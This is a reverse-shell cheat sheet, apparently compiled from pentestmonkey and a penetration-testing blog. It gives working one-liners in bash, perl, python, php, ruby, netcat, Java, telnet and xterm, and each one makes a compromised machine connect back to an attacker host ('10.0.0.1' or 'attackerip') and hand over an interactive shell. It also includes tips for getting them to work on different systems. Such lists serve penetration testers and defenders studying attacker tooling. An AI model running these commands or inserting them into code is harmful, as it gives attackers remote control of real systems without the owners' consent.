reverse shells

 Reference: http://pentestmonkey.net/

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

http://bernardodamele.blogspot.ca/2011/09/reverse-shells-one-liners.html


Bash

Alternatives for Bash shell:

exec /bin/bash 0&0 2>&0

Or:

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

Or:

    exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done  
# or:
    while read line 0<&5; do $line 2>&5 >&5; done


Netcat

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:

    nc -c /bin/sh attackerip 4444

Or:

    /bin/sh | nc attackerip 4444

Or:

    rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
See also 7 Linux Shells Using Built-in Tools from LaNMaSteR53 blog.

Telnet

Of course, you can also use Telnet as an alternative for Netcat:

 rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

Or:

 telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp
xterm

Follows further details on xterm reverse shell:

To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest:

 Xnest :1

Then remember to authorise on your system the target IP to connect to you:

xterm -display 127.0.0.1:1  # Run this OUTSIDE the Xnest
xhost +targetip             # Run this INSIDE the spawned xterm on the open X Server

Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:

 xterm -display attackerip:1

Or:
 
 $ DISPLAY=attackerip:0 xterm

It will try to connect back to you, attackerip, on TCP port 6001.

Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath:

 /usr/openwin/bin/xterm -display attackerip:1